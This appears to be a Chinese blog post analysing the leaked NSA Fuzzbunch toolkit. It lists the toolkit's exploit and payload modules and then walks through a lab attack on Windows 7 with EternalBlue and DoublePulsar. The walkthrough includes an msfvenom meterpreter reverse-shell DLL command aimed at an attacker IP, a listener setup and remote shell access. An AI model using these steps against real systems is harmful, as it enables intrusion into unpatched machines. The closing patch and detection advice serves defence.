NSA Fuzzbunch分析与利用案例
作者:admin | 时间:2017-4-21 01:41:24 | 分类:黑客技术 隐藏侧边栏展开侧边栏
1 整体目录介绍
解压EQGRP_Lost_in_Translation-master.zip文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:
1. windows目录针对Windows操作系统的利用工具和相关攻击代码;
2. swift目录中是包含入侵swift银行系统的操作记录等相关证据;
3. oddjob目录是后门Rootkit等相关文档;
1.1 框架介绍
我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:
1. fb.py
2. start_lp.py
1.2 FB模块介绍
fuzzbunch功能类似于metasploit,功能较为自动化。fuzzbunch下载地址https://github.com/fuzzbunch/fuzzbunch。fb.py 即 fuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch 支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。
fuzzbunch框架除了命令解析,日志,IO等常规功能外,fuzzbunch使用的xml配置文件十分详细,可以配置payload的各个部分。Fuzzbunch会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch 代码中全称为EXPLOITMANAGER,拥有跨平台能力。
1.3 start模块介绍
start_lp.py 会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6还原源代码。如下图:
2 fuzzbunch的插件列表和影响的服务与版本
2.1 ImplantConfig 植入工具模块
Darkpulsar 1.1.0 操控NTLM或 加载shellcode
Mofconfig 1.0.0
2.2 ListeningPost
内容未公开
2.3.Exploit 漏洞利用模块
Easybee 1.0.1Mdaemon漏洞
Easypi 3.1.0 IBM Lotus漏洞
Eclipsedwing 1.5.2MS08–067
Educatedscholar 1.0.0MS09–050
Emeraldthread 3.0.0MS10–061
Emphasismine 3.4.0IBM Lotus Domino漏洞
Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞
Erraticgopher 1.0.1SMB漏洞
Eskimoroll 1.1.1MS14–068
Esteemaudit 2.1.0RDP漏洞
Eternalromance 1.4.0SMBv1 漏洞
Eternalsynergy 1.0.1SMB漏洞
Ewokfrenzy 2.0.0Domino漏洞
Explodingcan 2.0.2IIS漏洞利用工具
Zippybeer 1.0.2 域控漏洞
2.4 Touch 信息探测、漏洞测试模块
Architouch 1.0.0
Domaintouch 1.1.1
Eclipsedwingtouch 1.0.4
Educatedscholartouch 1.0.0
Emeraldthreadtouch 1.0.0
Erraticgophertouch 1.0.1
Esteemaudittouch 2.1.0
Explodingcantouch 1.2.1
Iistouch 1.2.2
Namedpipetouch 2.0.0
Printjobdelete 1.0.0
Printjoblist 1.0.0
Rpctouch 2.1.0
Smbtouch 1.1.1
Webadmintouch 1.0.1
Worldclienttouch 1.0.1
2.5 Payload Payload模块
Doublepulsar 1.3.1支持 DLL 后门 和 shellcode
Jobadd 1.1.1
Jobdelete 1.1.1
Joblist 1.1.1
Pcdlllauncher 2.3.1
Processlist 1.1.1
Regdelete 1.1.1
Regenum 1.1.1
Regread 1.1.1
Regwrite 1.1.1
Rpcproxy 1.0.1
Smbdelete 1.1.1
Smblist 1.1.1
Smbread 1.1.1
Smbwrite 1.1.1
2.6 Special 专用模块
Eternalblue 2.2.0 SMB漏洞 MS17–010
Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147
检测与建议
通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar
ms17-017 检查 ,可通过metasploit代码:smb_ms17_010.rb
Microsoft的影响评价:Protecting customers and evaluating risk
ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical
3 fuzzbunch实验环境介绍
3.1 靶机环境介绍:
1. Fuzzbunch运行环境,操作系统:Windows 7;
2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;
3.1 控制端系统,操作系统:Kali1.1;
3.2 漏洞利用流程,以Eternalblue举例:
1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:
2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:
3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:
4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:
5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:
6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:
7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:
8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:
9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:
10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:
11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:
12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:
13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:
14. 在kali进行反向TCP监听的配置,如下图:
命令:use exploit/multi/handler,
payload:windows/meterpreter/reverse_tcp
15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:
16. 配置注入的dll的程序,我们选择explorer.exe。如下图:
17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:
18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:
19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:
20. 运行shell,执行whoami指令。如下图:
4 总结
从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:
升级系统补丁,确保补丁更新到最新版本。
关闭没有补丁的服务
使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。